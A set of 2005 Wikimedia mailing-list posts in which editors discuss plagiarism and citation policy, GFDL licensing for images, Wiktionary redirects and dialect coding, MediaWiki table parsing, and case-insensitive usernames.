not taking a position on which is the legitimate government of China or
Taiwan, etc.  This kind of edit is an attempt to introduce POV masquerading
as NPOV.

Jay.


from_name: Matt Brown

body:
Geoff, it's not that we're attacking you or thinking you're whinging;
it's simply that, although there is no EXPLICIT Wikipedia plagiarism
policy, there are Wikipedia policies that effectively prohibit it;
these being copyright policy and citing sources.

If plagiarism takes the form of copyright infringement, then it has to
be deleted.  There is no room for argument about this.  We cannot
place work under the GFDL without the permission of its author, and
that's that.

If plagiarism does NOT qualify as copyright infringement, then it
falls foul of WP:CITE.  Citing one's sources is not an option on
Wikipedia; it is policy.

All that said, it would not hurt to have a Wikipedia:Plagiarism policy
that puts all that in one place.

-Matt


from_name: Delphine Ménard

subject: [WikiEN-l] GFDL for images

body:
On 7/23/05, Andrew Gray <shimgray at gmail.com> wrote:

> Would it be possible to have on the back "this image is licensed blah
> by blah, see blah.com/blah for details", or is that only a valid
> approach when the "link" is live, as in a hyperlink, and easily
> accessible with the image?

I am afraid not. See, in article 2 of the GFDL (Verbatim Copying)

"You may copy and distribute the Document in any medium, either
commercially or noncommercially, provided that this License, the
copyright notices, and the license notice saying this License applies
to the Document are reproduced in all copies (...)"

And, shamelessly, i'll direct you to this entry in my blog:
http://ouvaton.coop/redirect.php?url=mU7F1AUH, where I addressed the
subject of the GFDL being used for images. Case study.

Cheers,

Delphine
--
~notafish


from_name: Skyring

body:
On 7/24/05, steve v <vertigosteve at yahoo.com> wrote:
> Impressive responses. One point: OR is often used as a
> an excuse to squash certain debated points, without
> allowing them to devlop (including citing sources).
> A silly example might be something like "go find some
> source for your notion that the world is round, and
> come back when you do so." Such source can then be
> debated for a while. So, while NOR is policy,
> consensus means that common sense prevails, and that
> merely adding a point of debate in appropriate
> section, with good language, is often just a good way
> to get there without being excessive.

Sometimes the common wisdom is incorrect. Most people would, I dare
say, put money on the statement "Queen Elizabeth II is the Queen of
England" being correct, but the truth is that it isn't. There hasn't
been a title of King or Queen of England for hundreds of years.

--
Pete, who notes that she isn't Queen of England, but she definitely is
Lord of Mann


from_name: Jimmy Wales

subject: [WikiEN-l] GFDL for images

body:
Haukur ?orgeirsson wrote:
> That's exactly as I feared then - GFDL isn't a very
> suitable license to make free images with. And someone
> who wanted to make a postcard series out of the
> featured pictures would indeed have problems since
> many of them are only licensed under the GFDL.
>
> This is a problem and we need to address it.

It is being addressed at the level of the license itself in a
forthcoming update to the license.

--Jimbo


from_name: Elly Waterman

subject:
[Wikipedia-l] Re: not-working link "Wiki does not exist"
	onall	wikipedias

body:
"Brion Vibber" <brion at pobox.com> schreef in
bericht news:42E20F8B.8010200 at pobox.com...
> _______________________________________________
> Wikipedia-l mailing list
> Wikipedia-l at Wikimedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikipedia-l
>

Yes, it is working oke now. Thanks. Elly


from_name: Michael Snow

subject: [WikiEN-l] Re: GFDL for images

body:
Haukur ?orgeirsson wrote:

>P.S. How about a license like this:
>
>"This picture can be used by anyone for any purpose
>as long as a copy of the American Declaration of
>Independence is included in any publications derived
>from it."
>
>Would that be a free license? :)
>
>
In order for it to be a truly free license, you would need to have an
additional requirement that they also include a copy of the Thirteenth
Amendment.

--Michael Snow


from_name: Nikola Smolenski

body:
On Saturday 23 July 2005 11:42, Mark Williamson wrote:
> > >I still think that this would be an useful way of formally specifying a
> > >dialect. For example, British English would have ISO639_2 code "en" and
> > >ISO3166_1 code "uk" while Australian English would have ISO639_2 code
> > > "en" but ISO3166_1 code "au".
> >
> > Even the ISO-639 codes in the table are there to connect what we are
> > doing in the Wikipedias and other projects. As it is a standard I added
> > it but in the database the ISO 639 fields are not compulsory, the "WMF
> > key" is. If we "need" these ISO639_2 codes, then we would adhere to the
> > principle that a language is a dialect with an army. Have a look at
> > http://nl.wiktionary.org/wiki/WikiWoordenboek:Lijst_van_messages#Schrijfw
> >ijzen_binnen_een_taal_2 and you will see how we do some of the uk and au
> > stuff for you. This is however not a great example because it is a mix of
> > different spelling but also vocabulary and scripts. As I was not content
> > with this I came up with the current ERD.
>
> Nikola, if you'll look up information on English dialects, you'll find
> that the division between British, Australian, American, etc. is all
> very exaggerated. The British, Australian, and American standard
> languages are all based on the same dialect.

I knew this (it's been told to me that there is much more difference in
pronunciation than there is in different words), however, if there are words
specific to one dialect, they should be marked as belonging to it.

> For example, "to starve" is the same in British, Australian, and
> American standard English, while in Yorkshire dialect it's "to clem".
>
> Similarly, "mouth", which is the same in British, Australian, and
> American English (as far as the standard languages go), is "flep" in
> Yorkshire. Incidentally, "flep" also refers to the lips.

I didn't knew that, these are interesting examples :)

> This could perhaps be compared to Serbo-Croatian: Serbian, Croatian,
> and Bosnian are all based on Stovakian, and there's not much variance

Stokavian.

> between them; the real variance in Southwest Slavic is between
> Stovakian, Cakavian, and Kajkavian. In this example, Australian,
> British, and American correspond to Serbian, Croatian, and Bosnian,
> while true dialects such as those of Yorkshire, Northumbria, or
> Liverpool correspond to Stovakian, Cakavian, and Kajkavian.

Congratulations! :) You just made a huge cultural faux-pas, claiming that
Serbo-Croatian is in fact Croatian :)

Better comparison would be: Australian/British/American correspond to
Serbian/Croatian/Bosnian, while Yorkshirian/Northumbrian/Liverpoolian
correspond to Vojvodinian/Slavonian/Herzegovinian (the latter are dialects of
Stokavian).


body:
On Sun, 24 Jul 2005, Matt Brown wrote:

> Geoff, it's not that we're attacking you or thinking you're whinging;
> it's simply that, although there is no EXPLICIT Wikipedia plagiarism
> policy, there are Wikipedia policies that effectively prohibit it;
> these being copyright policy and citing sources.
>
That wasn't the intent of my response, Matt, & I'm sorry that I gave
that impression.

My point in responding to you email (which I picked because I felt it
summarized many points I wanted to address) was that whether or not I
understood what plagiarism means, or whether this concept could be
applied to Wikipedia, there is an actual case I feel it could apply
to, & I think some input there would be helpful.

[snip]
>
> All that said, it would not hurt to have a Wikipedia:Plagiarism policy
> that puts all that in one place.
>
Agreed. Even if it is nothing more than a section at CITE explaining
that citing sources is also encouraged because it prevents plagiarism.

Geoff


from_name: Nidonocu

subject:
[Wikitech-l] Re: differences between tables creation from wiki
	language

body:
Sergey Samoylov wrote:

>Hi there...
>I've just installed mediawiki 1.4.7
>
>And now I have a question. I've created the next table:
>
>*snip*
>
>Why it is so different?
>I think the second peace  of code is much better. How can I set up it?
>
>Thank you and sory for my english.
>          Sergey
>
>
Wikipedia is running on the new 1.5 beta MediaWiki engine, therefor it
includes the improved parser which has for example, fixed your unquoted
align to center in the table properties and made the tidier formating of
tr's.
Upgrade your site to the latest release of 1.5 beta version for the
improvements but as always remember its a beta so you may have to
upgrade more often until the final release and you might have some
problems so make a test wiki before upgrading your current site and
always backup. I'm personally waiting for final release before I upgrade
since I currently don't 'need' any of the new features as my site as
only just recently opened.

Hope that's clear enough. :)
Nidonocu C:\>


from_name: Phroziac

subject: [Wikipedia-l] 2 Nds-Test-wp's?: Some stoopid loser...

body:
In my opinion....YES.

On 7/24/05, Servien Ilaino <servien at gmail.com> wrote:
> Hi there,
>
> There is a weird freak who most probably doesn't understand Low Saxon
> or is just really stoopid (yes, stoopid with dubble-o) because, he has
> created 2 articles on the Nds-nl Test Wiki (one of which already
> existed, and with the wrong title aswell), I later told him to use the
> spelling that was suggested to prevent problems with Wiki-titles in
> the future if the test-wp would be created. He didn't respons on the
> discussion I put on the pages, so I put a table with content asking
> him to change his self-constructed, based on Scandinavian, German and
> French orthography to the prefered one, instead he deleted the
> comments and put it back to the old orthography and started to create
> an article on Test-wp/nds, I told him it already existed, and that he
> just had to change his freaky orthography (normal in that way exactly)
> to the normal one. Instead he ignored it, shouldn't pages with no use
> and absolutely no real content like that be deleted?
>
> Servien
> _______________________________________________
> Wikipedia-l mailing list
> Wikipedia-l at Wikimedia.org
> http://mail.wikipedia.org/mailman/listinfo/wikipedia-l
>

--
signature


body:
On Saturday 23 July 2005 21:23, Heiko Evermann wrote:
> Hi Gerard,
> > In my opinion, Wiktionary should not have redirects. A word is either
> > spelled correctly and it will have its lemma or it is not and there will
> > not be a lemma with the incorrect spelling.
> > In Brions opinion there are links to lemmas and as we need to ensure
> > that these links remain ok, we need redirects to make this possible.
>
> This might work for English, but not for all languages.
> I think that redirects should be possible. This would make sense for
> 1) verb conjugation. I would like to simply link most of the declination
> forms to the main verb entry, as long as no other language entry uses the
> same heading.
> Example: Low Saxon conjugation of "to be".
> "He was" => "he weer". I would simply redirect this to "wesen" (en: to be).
> I would not like to be forced to write a whole article stating that "he
> weer" is 3. person sing, simple present of "wesen". I would like to include
> the conjugation table only once.
> 2) dialect variations (of which we have a lot in Low Saxon): for "to be" we
> have "ween/wesen/sien" as regional dialects. I would redirect two of them
> to the "wesen". I would not like to be forced to write a whole article
> stating that "ween" is a variant of "wesen".
> 3) orthography variations. We also have several competing orthographies for
> Low Saxon. I would like to be able to just redirect to the main orthography
> that we use.

Even if redirects would be allowed, you should do any of this by filling in
the database correctly. Each declination of a word would have its own entry.
Dialect variations would all be present, and marked as belonging to a dialect
or subdialect (the end of my discussion with Gerard is about how exactly to
do this). There is a field "spellingauthority" where you could specify which
of competing orthographies endorses particular spelling of a word.


body:
On Saturday 23 July 2005 21:49, Brion Vibber wrote:
> Gerard Meijssen wrote:
> > I had an interesting conversation with Brion. We do not agree on
> > everything. One of the things we do not agree on are redirects.
> >
> > In my opinion, Wiktionary should not have redirects. A word is either
> > spelled correctly and it will have its lemma or it is not and there will
> > not be a lemma with the incorrect spelling.
> > In Brions opinion there are links to lemmas and as we need to ensure
> > that these links remain ok, we need redirects to make this possible.
>
> The gap between my thinking and Gerard's thinking appears to be that
> Gerard considers redirects to be canonincal content; thus having a
> "wrong spelling" in a URL somehow implies that this is a "correct"
> spelling, which is therefore wrong and should be removed.

[...]

> More generally, it's completely irresponsible for a web-based resource
> to rearrange content pages without providing a redirect from the old
> URL. This is a basic principle which applies just as much to Wiktionary
> as to Wikipedia, just as much to Hewlett Packard's driver web pages as
> to Slashdot postings, just as much to a database of autogenerated
> earthquake reports or a collection of press releases as to an online
> academic journal.

I, in fact, agree with both of you :) I agree that a web-based resource should
have its URLs as permanent as possible, but I also think that in the UW it
should be possible to specify in the database anything which was in
traditional wiktionaries done with redirects.

A simple way to solve this could be to make redirects function differently
than they usually do on MediaWiki: instead of silently displaying content of
another page under the same URL, they could simply display "Contents of this
page has moved to [[that page]]." Thatway, URLs would still exist and be
useful, while there would be absolutely no danger of mistaking redirects for
canonical content.


from_name: Timwi

subject: [Wikitech-l] Re: Case-insensitive login ids via AuthPlugin.php

body:
Rob Lanphier wrote:
>
> I'm in the process of writing a AuthPlugin for bbPress, so that the
> WordPress folks can do single sign-on between their user forums and
> their MediaWiki install.  First release is here:
> http://codex.wordpress.org/User:RobLa/bbPress_Auth_for_MediaWiki
>
> One thing I'm having trouble with is the case sensitivity issue.
> bbPress isn't case sensitive.  MediaWiki is.  This makes logging in
> relatively simple.  As it turns out, I accidentally leveraged SQLs
> default case-insensitivity in my first crack at this.

I've thought about this issue before (when a friend asked me if one
could make article titles entirely case-insensitive).

Personally, I believe the best approach would be the following. Have all
the names (article titles in the 'page' table in his case, usernames in
the 'user' table in your case) be entirely lower-case and define that as
the "canonical form". Then when someone tries to log in as "RobLA" it
will search for "robla" and find it.

Then add another column to that table, 'displayname' or something, which
contains the username with the capitalisation the user prefers. In
Recent Changes, Watchlists, Histories, everything where a username is
shown, you use that, but in URLs you use the lower-case form.

Personally, I would prefer if usernames on Wikipedia were entirely
case-insensitive. Then again, I think article titles should be
case-insensitive too, but that would be quite a radical change.

Timwi


from_name: Haukur Þorgeirsson

body:
> If plagiarism does NOT qualify as copyright infringement, then it
> falls foul of WP:CITE.  Citing one's sources is not an option on
> Wikipedia; it is policy.

Last time I clicked on "random article" ten times
in a row I did not get a single one which cited
references. Citing one's sources may be policy but
it is not strictly enforced policy.

Regards,
Haukur


from_name: steve v

subject: [WikiEN-l] Template:Libertarianism

body:
Is it just me, or is this thing just plain overused?
Make a nice "pruning project" maybe?

http://en.wikipedia.org/wiki/Special:Whatlinkshere/Template:Libertarianism

SV

__________________________________
Do you Yahoo!?
Yahoo! Mail - You care about security. So do we.
http://promotions.yahoo.com/new_mail